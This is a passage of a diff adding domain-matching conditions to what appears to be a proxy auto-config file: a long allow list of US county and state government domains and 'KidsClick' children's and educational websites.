+ || dnsDomainIs(host, ".co.la.us")
+ || dnsDomainIs(host, ".co.me.us")
+ || dnsDomainIs(host, ".co.md.us")
+ || dnsDomainIs(host, ".co.ma.us")
+ || dnsDomainIs(host, ".co.mi.us")
+ || dnsDomainIs(host, ".co.mn.us")
+ || dnsDomainIs(host, ".co.ms.us")
+ || dnsDomainIs(host, ".co.mo.us")
+ || dnsDomainIs(host, ".co.mt.us")
+ || dnsDomainIs(host, ".co.ne.us")
+ || dnsDomainIs(host, ".co.nv.us")
+ || dnsDomainIs(host, ".co.nh.us")
+ || dnsDomainIs(host, ".co.nj.us")
+ || dnsDomainIs(host, ".co.nm.us")
+ || dnsDomainIs(host, ".co.ny.us")
+ || dnsDomainIs(host, ".co.nc.us")
+ || dnsDomainIs(host, ".co.nd.us")
+ || dnsDomainIs(host, ".co.oh.us")
+ || dnsDomainIs(host, ".co.ok.us")
+ || dnsDomainIs(host, ".co.or.us")
+ || dnsDomainIs(host, ".co.pa.us")
+ || dnsDomainIs(host, ".co.ri.us")
+ || dnsDomainIs(host, ".co.sc.us")
+ || dnsDomainIs(host, ".co.sd.us")
+ || dnsDomainIs(host, ".co.tn.us")
+ || dnsDomainIs(host, ".co.tx.us")
+ || dnsDomainIs(host, ".co.ut.us")
+ || dnsDomainIs(host, ".co.vt.us")
+ || dnsDomainIs(host, ".co.va.us")
+ || dnsDomainIs(host, ".co.wa.us")
+ || dnsDomainIs(host, ".co.wv.us")
+ || dnsDomainIs(host, ".co.wi.us")
+ || dnsDomainIs(host, ".co.wy.us")
+
+// U.S. States
+ || dnsDomainIs(host, ".state.al.us")
+ || dnsDomainIs(host, ".state.ak.us")
+ || dnsDomainIs(host, ".state.ar.us")
+ || dnsDomainIs(host, ".state.az.us")
+ || dnsDomainIs(host, ".state.ca.us")
+ || dnsDomainIs(host, ".state.co.us")
+ || dnsDomainIs(host, ".state.ct.us")
+ || dnsDomainIs(host, ".state.dc.us")
+ || dnsDomainIs(host, ".state.de.us")
+ || dnsDomainIs(host, ".state.fl.us")
+ || dnsDomainIs(host, ".state.ga.us")
+ || dnsDomainIs(host, ".state.hi.us")
+ || dnsDomainIs(host, ".state.id.us")
+ || dnsDomainIs(host, ".state.il.us")
+ || dnsDomainIs(host, ".state.in.us")
+ || dnsDomainIs(host, ".state.ia.us")
+ || dnsDomainIs(host, ".state.ks.us")
+ || dnsDomainIs(host, ".state.ky.us")
+ || dnsDomainIs(host, ".state.la.us")
+ || dnsDomainIs(host, ".state.me.us")
+ || dnsDomainIs(host, ".state.md.us")
+ || dnsDomainIs(host, ".state.ma.us")
+ || dnsDomainIs(host, ".state.mi.us")
+ || dnsDomainIs(host, ".state.mn.us")
+ || dnsDomainIs(host, ".state.ms.us")
+ || dnsDomainIs(host, ".state.mo.us")
+ || dnsDomainIs(host, ".state.mt.us")
+ || dnsDomainIs(host, ".state.ne.us")
+ || dnsDomainIs(host, ".state.nv.us")
+ || dnsDomainIs(host, ".state.nh.us")
+ || dnsDomainIs(host, ".state.nj.us")
+ || dnsDomainIs(host, ".state.nm.us")
+ || dnsDomainIs(host, ".state.ny.us")
+ || dnsDomainIs(host, ".state.nc.us")
+ || dnsDomainIs(host, ".state.nd.us")
+ || dnsDomainIs(host, ".state.oh.us")
+ || dnsDomainIs(host, ".state.ok.us")
+ || dnsDomainIs(host, ".state.or.us")
+ || dnsDomainIs(host, ".state.pa.us")
+ || dnsDomainIs(host, ".state.ri.us")
+ || dnsDomainIs(host, ".state.sc.us")
+ || dnsDomainIs(host, ".state.sd.us")
+ || dnsDomainIs(host, ".state.tn.us")
+ || dnsDomainIs(host, ".state.tx.us")
+ || dnsDomainIs(host, ".state.ut.us")
+ || dnsDomainIs(host, ".state.vt.us")
+ || dnsDomainIs(host, ".state.va.us")
+ || dnsDomainIs(host, ".state.wa.us")
+ || dnsDomainIs(host, ".state.wv.us")
+ || dnsDomainIs(host, ".state.wi.us")
+ || dnsDomainIs(host, ".state.wy.us")
+
+// KidsClick URLs
+
+ || dnsDomainIs(host, "12.16.163.163")
+ || dnsDomainIs(host, "128.59.173.136")
+ || dnsDomainIs(host, "165.112.78.61")
+ || dnsDomainIs(host, "216.55.23.140")
+ || dnsDomainIs(host, "63.111.53.150")
+ || dnsDomainIs(host, "64.94.206.8")
+
+ || dnsDomainIs(host, "abc.go.com")
+ || dnsDomainIs(host, "acmepet.petsmart.com")
+ || dnsDomainIs(host, "adver-net.com")
+ || dnsDomainIs(host, "aint-it-cool-news.com")
+ || dnsDomainIs(host, "akidsheart.com")
+ || dnsDomainIs(host, "alabanza.com")
+ || dnsDomainIs(host, "allerdays.com")
+ || dnsDomainIs(host, "allgame.com")
+ || dnsDomainIs(host, "allowancenet.com")
+ || dnsDomainIs(host, "amish-heartland.com")
+ || dnsDomainIs(host, "ancienthistory.about.com")
+ || dnsDomainIs(host, "animals.about.com")
+ || dnsDomainIs(host, "antenna.nl")
+ || dnsDomainIs(host, "arcweb.sos.state.or.us")
+ || dnsDomainIs(host, "artistmummer.homestead.com")
+ || dnsDomainIs(host, "artists.vh1.com")
+ || dnsDomainIs(host, "arts.lausd.k12.ca.us")
+ || dnsDomainIs(host, "asiatravel.com")
+ || dnsDomainIs(host, "asterius.com")
+ || dnsDomainIs(host, "atlas.gc.ca")
+ || dnsDomainIs(host, "atschool.eduweb.co.uk")
+ || dnsDomainIs(host, "ayya.pd.net")
+ || dnsDomainIs(host, "babelfish.altavista.com")
+ || dnsDomainIs(host, "babylon5.warnerbros.com")
+ || dnsDomainIs(host, "banzai.neosoft.com")
+ || dnsDomainIs(host, "barneyonline.com")
+ || dnsDomainIs(host, "baroque-music.com")
+ || dnsDomainIs(host, "barsoom.msss.com")
+ || dnsDomainIs(host, "baseball-almanac.com")
+ || dnsDomainIs(host, "bcadventure.com")
+ || dnsDomainIs(host, "beadiecritters.hosting4less.com")
+ || dnsDomainIs(host, "beverlyscrafts.com")
+ || dnsDomainIs(host, "biology.about.com")
+ || dnsDomainIs(host, "birding.about.com")
+ || dnsDomainIs(host, "boatsafe.com")
+ || dnsDomainIs(host, "bombpop.com")
+ || dnsDomainIs(host, "boulter.com")
+ || dnsDomainIs(host, "bright-ideas-software.com")
+ || dnsDomainIs(host, "buckman.pps.k12.or.us")
+ || dnsDomainIs(host, "buffalobills.com")
+ || dnsDomainIs(host, "bvsd.k12.co.us")
+ || dnsDomainIs(host, "cagle.slate.msn.com")
+ || dnsDomainIs(host, "calc.entisoft.com")
+ || dnsDomainIs(host, "canada.gc.ca")
+ || dnsDomainIs(host, "candleandsoap.about.com")
+ || dnsDomainIs(host, "caselaw.lp.findlaw.com")
+ || dnsDomainIs(host, "catalog.com")
+ || dnsDomainIs(host, "catalog.socialstudies.com")
+ || dnsDomainIs(host, "cavern.com")
+ || dnsDomainIs(host, "cbs.sportsline.com")
+ || dnsDomainIs(host, "cc.matsuyama-u.ac.jp")
+ || dnsDomainIs(host, "celt.net")
+ || dnsDomainIs(host, "cgfa.kelloggcreek.com")
+ || dnsDomainIs(host, "channel4000.com")
+ || dnsDomainIs(host, "chess.delorie.com")
+ || dnsDomainIs(host, "chess.liveonthenet.com")
+ || dnsDomainIs(host, "childfun.com")
+ || dnsDomainIs(host, "christmas.com")
+ || dnsDomainIs(host, "citystar.com")
+ || dnsDomainIs(host, "claim.goldrush.com")
+ || dnsDomainIs(host, "clairerosemaryjane.com")
+ || dnsDomainIs(host, "clevermedia.com")
+ || dnsDomainIs(host, "cobblestonepub.com")
+ || dnsDomainIs(host, "codebrkr.infopages.net")
+ || dnsDomainIs(host, "colitz.com")
+ || dnsDomainIs(host, "collections.ic.gc.ca")
+ || dnsDomainIs(host, "coloquio.com")
+ || dnsDomainIs(host, "come.to")
+ || dnsDomainIs(host, "coombs.anu.edu.au")
+ || dnsDomainIs(host, "crafterscommunity.com")
+ || dnsDomainIs(host, "craftsforkids.about.com")
+ || dnsDomainIs(host, "creativity.net")
+ || dnsDomainIs(host, "cslewis.drzeus.net")
+ || dnsDomainIs(host, "cust.idl.com.au")
+ || dnsDomainIs(host, "cvs.anu.edu.au")
+ || dnsDomainIs(host, "cybersleuth-kids.com")
+ || dnsDomainIs(host, "cybertown.com")
+ || dnsDomainIs(host, "darkfish.com")
+ || dnsDomainIs(host, "datadragon.com")
+ || dnsDomainIs(host, "davesite.com")
+ || dnsDomainIs(host, "dbertens.www.cistron.nl")
+ || dnsDomainIs(host, "detnews.com")
+ || dnsDomainIs(host, "dhr.dos.state.fl.us")
+ || dnsDomainIs(host, "dialspace.dial.pipex.com")
+ || dnsDomainIs(host, "dictionaries.travlang.com")
+ || dnsDomainIs(host, "disney.go.com")
+ || dnsDomainIs(host, "disneyland.disney.go.com")
+ || dnsDomainIs(host, "district.gresham.k12.or.us")
+ || dnsDomainIs(host, "dmarie.com")
+ || dnsDomainIs(host, "dreamwater.com")
+ || dnsDomainIs(host, "duke.fuse.net")
+ || dnsDomainIs(host, "earlyamerica.com")
+ || dnsDomainIs(host, "earthsky.com")
+ || dnsDomainIs(host, "easyweb.easynet.co.uk")
+ || dnsDomainIs(host, "ecards1.bansheeweb.com")
+ || dnsDomainIs(host, "edugreen.teri.res.in")
+ || dnsDomainIs(host, "edwardlear.tripod.com")
+ || dnsDomainIs(host, "eelink.net")
+ || dnsDomainIs(host, "elizabethsings.com")
+ || dnsDomainIs(host, "enature.com")
+ || dnsDomainIs(host, "encarta.msn.com")
+ || dnsDomainIs(host, "endangeredspecie.com")
+ || dnsDomainIs(host, "enterprise.america.com")
+ || dnsDomainIs(host, "ericae.net")
+ || dnsDomainIs(host, "esl.about.com")
+ || dnsDomainIs(host, "eveander.com")
+ || dnsDomainIs(host, "exn.ca")
+ || dnsDomainIs(host, "fallscam.niagara.com")
+ || dnsDomainIs(host, "family.go.com")
+ || dnsDomainIs(host, "family2.go.com")
+ || dnsDomainIs(host, "familyeducation.com")
+ || dnsDomainIs(host, "finditquick.com")
+ || dnsDomainIs(host, "fln-bma.yazigi.com.br")
+ || dnsDomainIs(host, "fln-con.yazigi.com.br")
+ || dnsDomainIs(host, "food.epicurious.com")
+ || dnsDomainIs(host, "forums.sympatico.ca")
+ || dnsDomainIs(host, "fotw.vexillum.com")
+ || dnsDomainIs(host, "fox.nstn.ca")
+ || dnsDomainIs(host, "framingham.com")
+ || dnsDomainIs(host, "freevote.com")
+ || dnsDomainIs(host, "freeweb.pdq.net")
+ || dnsDomainIs(host, "games.yahoo.com")
+ || dnsDomainIs(host, "gardening.sierrahome.com")
+ || dnsDomainIs(host, "gardenofpraise.com")
+ || dnsDomainIs(host, "gcclearn.gcc.cc.va.us")
+ || dnsDomainIs(host, "genealogytoday.com")
+ || dnsDomainIs(host, "genesis.ne.mediaone.net")
+ || dnsDomainIs(host, "geniefind.com")
+ || dnsDomainIs(host, "geography.about.com")
+ || dnsDomainIs(host, "gf.state.wy.us")
+ || dnsDomainIs(host, "gi.grolier.com")
+ || dnsDomainIs(host, "golf.com")
+ || dnsDomainIs(host, "greatseal.com")
+ || dnsDomainIs(host, "guardians.net")
+ || dnsDomainIs(host, "hamlet.hypermart.net")
+ || dnsDomainIs(host, "happypuppy.com")
+ || dnsDomainIs(host, "harcourt.fsc.follett.com")
+ || dnsDomainIs(host, "haringkids.com")
+ || dnsDomainIs(host, "harrietmaysavitz.com")
+ || dnsDomainIs(host, "harrypotter.warnerbros.com")
+ || dnsDomainIs(host, "hca.gilead.org.il")
+ || dnsDomainIs(host, "header.future.easyspace.com")
+ || dnsDomainIs(host, "historymedren.about.com")
+ || dnsDomainIs(host, "home.att.net")
+ || dnsDomainIs(host, "home.austin.rr.com")
+ || dnsDomainIs(host, "home.capu.net")
+ || dnsDomainIs(host, "home.cfl.rr.com")
+ || dnsDomainIs(host, "home.clara.net")
+ || dnsDomainIs(host, "home.clear.net.nz")
+ || dnsDomainIs(host, "home.earthlink.net")
+ || dnsDomainIs(host, "home.eznet.net")
+ || dnsDomainIs(host, "home.flash.net")
+ || dnsDomainIs(host, "home.hiwaay.net")
+ || dnsDomainIs(host, "home.hkstar.com")
+ || dnsDomainIs(host, "home.ici.net")
+ || dnsDomainIs(host, "home.inreach.com")
+ || dnsDomainIs(host, "home.interlynx.net")
+ || dnsDomainIs(host, "home.istar.ca")
+ || dnsDomainIs(host, "home.mira.net")
+ || dnsDomainIs(host, "home.nycap.rr.com")
+ || dnsDomainIs(host, "home.online.no")
+ || dnsDomainIs(host, "home.pb.net")
+ || dnsDomainIs(host, "home2.pacific.net.sg")
+ || dnsDomainIs(host, "homearts.com")
+ || dnsDomainIs(host, "homepage.mac.com")
+ || dnsDomainIs(host, "hometown.aol.com")
+ || dnsDomainIs(host, "homiliesbyemail.com")
+ || dnsDomainIs(host, "hotei.fix.co.jp")
+ || dnsDomainIs(host, "hotwired.lycos.com")
+ || dnsDomainIs(host, "hp.vector.co.jp")
+ || dnsDomainIs(host, "hum.amu.edu.pl")
+ || dnsDomainIs(host, "i-cias.com")
+ || dnsDomainIs(host, "icatapults.freeservers.com")
+ || dnsDomainIs(host, "ind.cioe.com")
+ || dnsDomainIs(host, "info.ex.ac.uk")
+ || dnsDomainIs(host, "infocan.gc.ca")
+ || dnsDomainIs(host, "infoservice.gc.ca")
+ || dnsDomainIs(host, "interoz.com")
+ || dnsDomainIs(host, "ireland.iol.ie")
+ || dnsDomainIs(host, "is.dal.ca")
+ || dnsDomainIs(host, "itss.raytheon.com")
+ || dnsDomainIs(host, "iul.com")
+ || dnsDomainIs(host, "jameswhitcombriley.com")
+ || dnsDomainIs(host, "jellieszone.com")
+ || dnsDomainIs(host, "jordan.sportsline.com")
+ || dnsDomainIs(host, "judyanddavid.com")
+ || dnsDomainIs(host, "jurai.murdoch.edu.au")
+ || dnsDomainIs(host, "just.about.com")
+ || dnsDomainIs(host, "kayleigh.tierranet.com")
+ || dnsDomainIs(host, "kcwingwalker.tripod.com")
+ || dnsDomainIs(host, "kidexchange.about.com")
+ || dnsDomainIs(host, "kids-world.colgatepalmolive.com")
+ || dnsDomainIs(host, "kids.mysterynet.com")
+ || dnsDomainIs(host, "kids.ot.com")
+ || dnsDomainIs(host, "kidsartscrafts.about.com")
+ || dnsDomainIs(host, "kidsastronomy.about.com")
+ || dnsDomainIs(host, "kidscience.about.com")
+ || dnsDomainIs(host, "kidscience.miningco.com")
+ || dnsDomainIs(host, "kidscollecting.about.com")
+ || dnsDomainIs(host, "kidsfun.co.uk")
+ || dnsDomainIs(host, "kidsinternet.about.com")
+ || dnsDomainIs(host, "kidslangarts.about.com")
+ || dnsDomainIs(host, "kidspenpals.about.com")
+ || dnsDomainIs(host, "kitecast.com")
+ || dnsDomainIs(host, "knight.city.ba.k12.md.us")
+ || dnsDomainIs(host, "kodak.com")
+ || dnsDomainIs(host, "kwanzaa4kids.homestead.com")
+ || dnsDomainIs(host, "lagos.africaonline.com")
+ || dnsDomainIs(host, "lancearmstrong.com")
+ || dnsDomainIs(host, "landru.i-link-2.net")
+ || dnsDomainIs(host, "lang.nagoya-u.ac.jp")
+ || dnsDomainIs(host, "lascala.milano.it")
+ || dnsDomainIs(host, "latinoculture.about.com")
+ || dnsDomainIs(host, "litcal.yasuda-u.ac.jp")
+ || dnsDomainIs(host, "littlebit.com")
+ || dnsDomainIs(host, "live.edventures.com")
+ || dnsDomainIs(host, "look.net")
+ || dnsDomainIs(host, "lycoskids.infoplease.com")
+ || dnsDomainIs(host, "lynx.uio.no")
+ || dnsDomainIs(host, "macdict.dict.mq.edu.au")
+ || dnsDomainIs(host, "maori.culture.co.nz")
+ || dnsDomainIs(host, "marktwain.about.com")
+ || dnsDomainIs(host, "marktwain.miningco.com")
+ || dnsDomainIs(host, "mars2030.net")
+ || dnsDomainIs(host, "martin.parasitology.mcgill.ca")
+ || dnsDomainIs(host, "martinlutherking.8m.com")
+ || dnsDomainIs(host, "mastercollector.com")
+ || dnsDomainIs(host, "mathcentral.uregina.ca")
+ || dnsDomainIs(host, "members.aol.com")
+ || dnsDomainIs(host, "members.carol.net")
+ || dnsDomainIs(host, "members.cland.net")
+ || dnsDomainIs(host, "members.cruzio.com")
+ || dnsDomainIs(host, "members.easyspace.com")
+ || dnsDomainIs(host, "members.eisa.net.au")
+ || dnsDomainIs(host, "members.home.net")
+ || dnsDomainIs(host, "members.iinet.net.au")
+ || dnsDomainIs(host, "members.nbci.com")
+ || dnsDomainIs(host, "members.ozemail.com.au")
+ || dnsDomainIs(host, "members.surfsouth.com")
+ || dnsDomainIs(host, "members.theglobe.com")
+ || dnsDomainIs(host, "members.tripod.com")
+ || dnsDomainIs(host, "mexplaza.udg.mx")
+ || dnsDomainIs(host, "mgfx.com")
+ || dnsDomainIs(host, "microimg.com")
+ || dnsDomainIs(host, "midusa.net")
+ || dnsDomainIs(host, "mildan.com")
+ || dnsDomainIs(host, "millennianet.com")
+ || dnsDomainIs(host, "mindbreakers.e-fun.nu")
+ || dnsDomainIs(host, "missjanet.xs4all.nl")
+ || dnsDomainIs(host, "mistral.culture.fr")
+ || dnsDomainIs(host, "mobileation.com")
+ || dnsDomainIs(host, "mrshowbiz.go.com")
+ || dnsDomainIs(host, "ms.simplenet.com")
+ || dnsDomainIs(host, "museum.gov.ns.ca")
+ || dnsDomainIs(host, "music.excite.com")
+ || dnsDomainIs(host, "musicfinder.yahoo.com")
+ || dnsDomainIs(host, "my.freeway.net")
+ || dnsDomainIs(host, "mytrains.com")
+ || dnsDomainIs(host, "nativeauthors.com")
+ || dnsDomainIs(host, "nba.com")
+ || dnsDomainIs(host, "nch.ari.net")
+ || dnsDomainIs(host, "neonpeach.tripod.com")
+ || dnsDomainIs(host, "net.indra.com")
+ || dnsDomainIs(host, "ngeorgia.com")
+ || dnsDomainIs(host, "ngp.ngpc.state.ne.us")
+ || dnsDomainIs(host, "nhd.heinle.com")
+ || dnsDomainIs(host, "nick.com")
+ || dnsDomainIs(host, "normandy.eb.com")
+ || dnsDomainIs(host, "northshore.shore.net")
+ || dnsDomainIs(host, "now2000.com")
+ || dnsDomainIs(host, "npc.nunavut.ca")
+ || dnsDomainIs(host, "ns2.carib-link.net")
+ || dnsDomainIs(host, "ntl.sympatico.ca")
+ || dnsDomainIs(host, "oceanographer.navy.mil")
+ || dnsDomainIs(host, "oddens.geog.uu.nl")
+ || dnsDomainIs(host, "officialcitysites.com")
+ || dnsDomainIs(host, "oneida-nation.net")
+ || dnsDomainIs(host, "onlinegeorgia.com")
+ || dnsDomainIs(host, "originator_2.tripod.com")
+ || dnsDomainIs(host, "ortech-engr.com")
+ || dnsDomainIs(host, "osage.voorhees.k12.nj.us")
+ || dnsDomainIs(host, "osiris.sund.ac.uk")
+ || dnsDomainIs(host, "ourworld.compuserve.com")
+ || dnsDomainIs(host, "outdoorphoto.com")
+ || dnsDomainIs(host, "pages.map.com")
+ || dnsDomainIs(host, "pages.prodigy.com")
+ || dnsDomainIs(host, "pages.prodigy.net")
+ || dnsDomainIs(host, "pages.tca.net")
+ || dnsDomainIs(host, "parcsafari.qc.ca")
+ || dnsDomainIs(host, "parenthoodweb.com")
+ || dnsDomainIs(host, "pathfinder.com")
+ || dnsDomainIs(host, "people.clarityconnect.com")
+ || dnsDomainIs(host, "people.enternet.com.au")
+ || dnsDomainIs(host, "people.ne.mediaone.net")
+ || dnsDomainIs(host, "phonics.jazzles.com")
+ || dnsDomainIs(host, "pibburns.com")
+ || dnsDomainIs(host, "pilgrims.net")
+ || dnsDomainIs(host, "pinenet.com")
+ || dnsDomainIs(host, "place.scholastic.com")
+ || dnsDomainIs(host, "playground.kodak.com")
+ || dnsDomainIs(host, "politicalgraveyard.com")
+ || dnsDomainIs(host, "polk.ga.net")
+ || dnsDomainIs(host, "pompstory.home.mindspring.com")
+ || dnsDomainIs(host, "popularmechanics.com")
+ || dnsDomainIs(host, "projects.edtech.sandi.net")
+ || dnsDomainIs(host, "psyche.usno.navy.mil")
+ || dnsDomainIs(host, "pubweb.parc.xerox.com")
+ || dnsDomainIs(host, "puzzlemaker.school.discovery.com")
+ || dnsDomainIs(host, "quest.classroom.com")
+ || dnsDomainIs(host, "quilting.about.com")
+ || dnsDomainIs(host, "rabbitmoon.home.mindspring.com")
+ || dnsDomainIs(host, "radio.cbc.ca")
+ || dnsDomainIs(host, "rats2u.com")
+ || dnsDomainIs(host, "rbcm1.rbcm.gov.bc.ca")
+ || dnsDomainIs(host, "readplay.com")
+ || dnsDomainIs(host, "recipes4children.homestead.com")
+ || dnsDomainIs(host, "redsox.com")
+ || dnsDomainIs(host, "renaissance.district96.k12.il.us")
+ || dnsDomainIs(host, "rhyme.lycos.com")
+ || dnsDomainIs(host, "rhythmweb.com")
+ || dnsDomainIs(host, "riverresource.com")
+ || dnsDomainIs(host, "rockhoundingar.com")
+ || dnsDomainIs(host, "rockies.mlb.com")
+ || dnsDomainIs(host, "rosecity.net")
+ || dnsDomainIs(host, "rr-vs.informatik.uni-ulm.de")
+ || dnsDomainIs(host, "rubens.anu.edu.au")
+ || dnsDomainIs(host, "rummelplatz.uni-mannheim.de")
+ || dnsDomainIs(host, "sandbox.xerox.com")
+ || dnsDomainIs(host, "sarah.fredart.com")
+ || dnsDomainIs(host, "schmidel.com")
+ || dnsDomainIs(host, "scholastic.com")
+ || dnsDomainIs(host, "school.discovery.com")
+ || dnsDomainIs(host, "schoolcentral.com")
+ || dnsDomainIs(host, "seattletimes.nwsource.com")
+ || dnsDomainIs(host, "sericulum.com")
+ || dnsDomainIs(host, "sf.airforce.com")
+ || dnsDomainIs(host, "shop.usps.com")
+ || dnsDomainIs(host, "showcase.netins.net")
+ || dnsDomainIs(host, "sikids.com")
+ || dnsDomainIs(host, "sites.huji.ac.il")
+ || dnsDomainIs(host, "sjliving.com")
+ || dnsDomainIs(host, "skullduggery.com")
+ || dnsDomainIs(host, "skyways.lib.ks.us")
+ || dnsDomainIs(host, "snowdaymovie.nick.com")
+ || dnsDomainIs(host, "sosa21.hypermart.net")
+ || dnsDomainIs(host, "soundamerica.com")
+ || dnsDomainIs(host, "spaceboy.nasda.go.jp")
+ || dnsDomainIs(host, "sports.nfl.com")
+ || dnsDomainIs(host, "sportsillustrated.cnn.com")
+ || dnsDomainIs(host, "starwars.hasbro.com")
+ || dnsDomainIs(host, "statelibrary.dcr.state.nc.us")
+ || dnsDomainIs(host, "streetplay.com")
+ || dnsDomainIs(host, "sts.gsc.nrcan.gc.ca")
+ || dnsDomainIs(host, "sunniebunniezz.com")
+ || dnsDomainIs(host, "sunsite.nus.edu.sg")
+ || dnsDomainIs(host, "sunsite.sut.ac.jp")
+ || dnsDomainIs(host, "superm.bart.nl")
+ || dnsDomainIs(host, "surf.to")
+ || dnsDomainIs(host, "svinet2.fs.fed.us")
+ || dnsDomainIs(host, "swiminfo.com")
+ || dnsDomainIs(host, "tabletennis.about.com")
+ || dnsDomainIs(host, "teacher.scholastic.com")
+ || dnsDomainIs(host, "theforce.net")
+ || dnsDomainIs(host, "thejessicas.homestead.com")
+ || dnsDomainIs(host, "themes.editthispage.com")
+ || dnsDomainIs(host, "theory.uwinnipeg.ca")
+ || dnsDomainIs(host, "theshadowlands.net")
+ || dnsDomainIs(host, "thinks.com")
+ || dnsDomainIs(host, "thryomanes.tripod.com")
+ || dnsDomainIs(host, "time_zone.tripod.com")
+ || dnsDomainIs(host, "titania.cobuild.collins.co.uk")
+ || dnsDomainIs(host, "torre.duomo.pisa.it")
+ || dnsDomainIs(host, "touregypt.net")
+ || dnsDomainIs(host, "toycollecting.about.com")
+ || dnsDomainIs(host, "trace.ntu.ac.uk")
+ || dnsDomainIs(host, "travelwithkids.about.com")
+ || dnsDomainIs(host, "tukids.tucows.com")
+ || dnsDomainIs(host, "tv.yahoo.com")
+ || dnsDomainIs(host, "tycho.usno.navy.mil")
+ || dnsDomainIs(host, "ubl.artistdirect.com")
+ || dnsDomainIs(host, "uk-pages.net")
+ || dnsDomainIs(host, "ukraine.uazone.net")
+ || dnsDomainIs(host, "unmuseum.mus.pa.us")
+ || dnsDomainIs(host, "us.imdb.com")
+ || dnsDomainIs(host, "userpage.chemie.fu-berlin.de")
+ || dnsDomainIs(host, "userpage.fu-berlin.de")
+ || dnsDomainIs(host, "userpages.aug.com")
+ || dnsDomainIs(host, "users.aol.com")
+ || dnsDomainIs(host, "users.bigpond.net.au")
+ || dnsDomainIs(host, "users.breathemail.net")
+ || dnsDomainIs(host, "users.erols.com")
+ || dnsDomainIs(host, "users.imag.net")
+ || dnsDomainIs(host, "users.inetw.net")
+ || dnsDomainIs(host, "users.massed.net")
+ || dnsDomainIs(host, "users.skynet.be")
+ || dnsDomainIs(host, "users.uniserve.com")
+ || dnsDomainIs(host, "venus.spaceports.com")
+ || dnsDomainIs(host, "vgstrategies.about.com")
+ || dnsDomainIs(host, "victorian.fortunecity.com")
+ || dnsDomainIs(host, "vilenski.com")
+ || dnsDomainIs(host, "village.infoweb.ne.jp")
+ || dnsDomainIs(host, "virtual.finland.fi")
+ || dnsDomainIs(host, "vrml.fornax.hu")
+ || dnsDomainIs(host, "vvv.com")
+ || dnsDomainIs(host, "w1.xrefer.com")
+ || dnsDomainIs(host, "w3.one.net")
+ || dnsDomainIs(host, "w3.rz-berlin.mpg.de")
+ || dnsDomainIs(host, "w3.trib.com")
+ || dnsDomainIs(host, "wallofsound.go.com")
+ || dnsDomainIs(host, "web.aimnet.com")
+ || dnsDomainIs(host, "web.ccsd.k12.wy.us")
+ || dnsDomainIs(host, "web.cs.ualberta.ca")
+ || dnsDomainIs(host, "web.idirect.com")
+ || dnsDomainIs(host, "web.kyoto-inet.or.jp")
+ || dnsDomainIs(host, "web.macam98.ac.il")
+ || dnsDomainIs(host, "web.massvacation.com")
+ || dnsDomainIs(host, "web.one.net.au")
+ || dnsDomainIs(host, "web.qx.net")
+ || dnsDomainIs(host, "web.uvic.ca")
+ || dnsDomainIs(host, "web2.airmail.net")
+ || dnsDomainIs(host, "webcoast.com")
+ || dnsDomainIs(host, "webgames.kalisto.com")
+ || dnsDomainIs(host, "webhome.idirect.com")
+ || dnsDomainIs(host, "webpages.homestead.com")
+ || dnsDomainIs(host, "webrum.uni-mannheim.de")
+ || dnsDomainIs(host, "webusers.anet-stl.com")
+ || dnsDomainIs(host, "welcome.to")
+ || dnsDomainIs(host, "wgntv.com")
+ || dnsDomainIs(host, "whales.magna.com.au")
+ || dnsDomainIs(host, "wildheart.com")
+ || dnsDomainIs(host, "wilstar.net")
+ || dnsDomainIs(host, "winter-wonderland.com")
+ || dnsDomainIs(host, "women.com")
+ || dnsDomainIs(host, "woodrow.mpls.frb.fed.us")
+ || dnsDomainIs(host, "wordzap.com")
+ || dnsDomainIs(host, "worldkids.net")
+ || dnsDomainIs(host, "worldwideguide.net")
+ || dnsDomainIs(host, "ww3.bay.k12.fl.us")
+ || dnsDomainIs(host, "ww3.sportsline.com")
+ || dnsDomainIs(host, "www-groups.dcs.st-and.ac.uk")
+ || dnsDomainIs(host, "www-public.rz.uni-duesseldorf.de")
+ || dnsDomainIs(host, "www.1stkids.com")
+ || dnsDomainIs(host, "www.2020tech.com")
+ || dnsDomainIs(host, "www.21stcenturytoys.com")
+ || dnsDomainIs(host, "www.4adventure.com")
+ || dnsDomainIs(host, "www.50states.com")
+ || dnsDomainIs(host, "www.800padutch.com")
+ || dnsDomainIs(host, "www.88.com")
+ || dnsDomainIs(host, "www.a-better.com")
+ || dnsDomainIs(host, "www.aaa.com.au")
+ || dnsDomainIs(host, "www.aacca.com")
+ || dnsDomainIs(host, "www.aalbc.com")
+ || dnsDomainIs(host, "www.aardman.com")
+ || dnsDomainIs(host, "www.aardvarkelectric.com")
+ || dnsDomainIs(host, "www.aawc.com")
+ || dnsDomainIs(host, "www.ababmx.com")
+ || dnsDomainIs(host, "www.abbeville.com")
+ || dnsDomainIs(host, "www.abc.net.au")
+ || dnsDomainIs(host, "www.abcb.com")
+ || dnsDomainIs(host, "www.abctooncenter.com")
+ || dnsDomainIs(host, "www.about.ch")
+ || dnsDomainIs(host, "www.accessart.org.uk")
+ || dnsDomainIs(host, "www.accu.or.jp")
+ || dnsDomainIs(host, "www.accuweather.com")
+ || dnsDomainIs(host, "www.achuka.co.uk")
+ || dnsDomainIs(host, "www.acmecity.com")
+ || dnsDomainIs(host, "www.acorn-group.com")
+ || dnsDomainIs(host, "www.acs.ucalgary.ca")
+ || dnsDomainIs(host, "www.actden.com")
+ || dnsDomainIs(host, "www.actionplanet.com")
+ || dnsDomainIs(host, "www.activityvillage.co.uk")
+ || dnsDomainIs(host, "www.actwin.com")
+ || dnsDomainIs(host, "www.adequate.com")
+ || dnsDomainIs(host, "www.adidas.com")
+ || dnsDomainIs(host, "www.advent-calendars.com")
+ || dnsDomainIs(host, "www.aegis.com")
+ || dnsDomainIs(host, "www.af.mil")
+ || dnsDomainIs(host, "www.africaindex.africainfo.no")
+ || dnsDomainIs(host, "www.africam.com")
+ || dnsDomainIs(host, "www.africancrafts.com")
+ || dnsDomainIs(host, "www.aggressive.com")
+ || dnsDomainIs(host, "www.aghines.com")
+ || dnsDomainIs(host, "www.agirlsworld.com")
+ || dnsDomainIs(host, "www.agora.stm.it")
+ || dnsDomainIs(host, "www.agriculture.com")
+ || dnsDomainIs(host, "www.aikidofaq.com")
+ || dnsDomainIs(host, "www.ajkids.com")
+ || dnsDomainIs(host, "www.akfkoala.gil.com.au")
+ || dnsDomainIs(host, "www.akhlah.com")
+ || dnsDomainIs(host, "www.alabamainfo.com")
+ || dnsDomainIs(host, "www.aland.fi")
+ || dnsDomainIs(host, "www.albion.com")
+ || dnsDomainIs(host, "www.alcoholismhelp.com")
+ || dnsDomainIs(host, "www.alcottweb.com")
+ || dnsDomainIs(host, "www.alfanet.it")
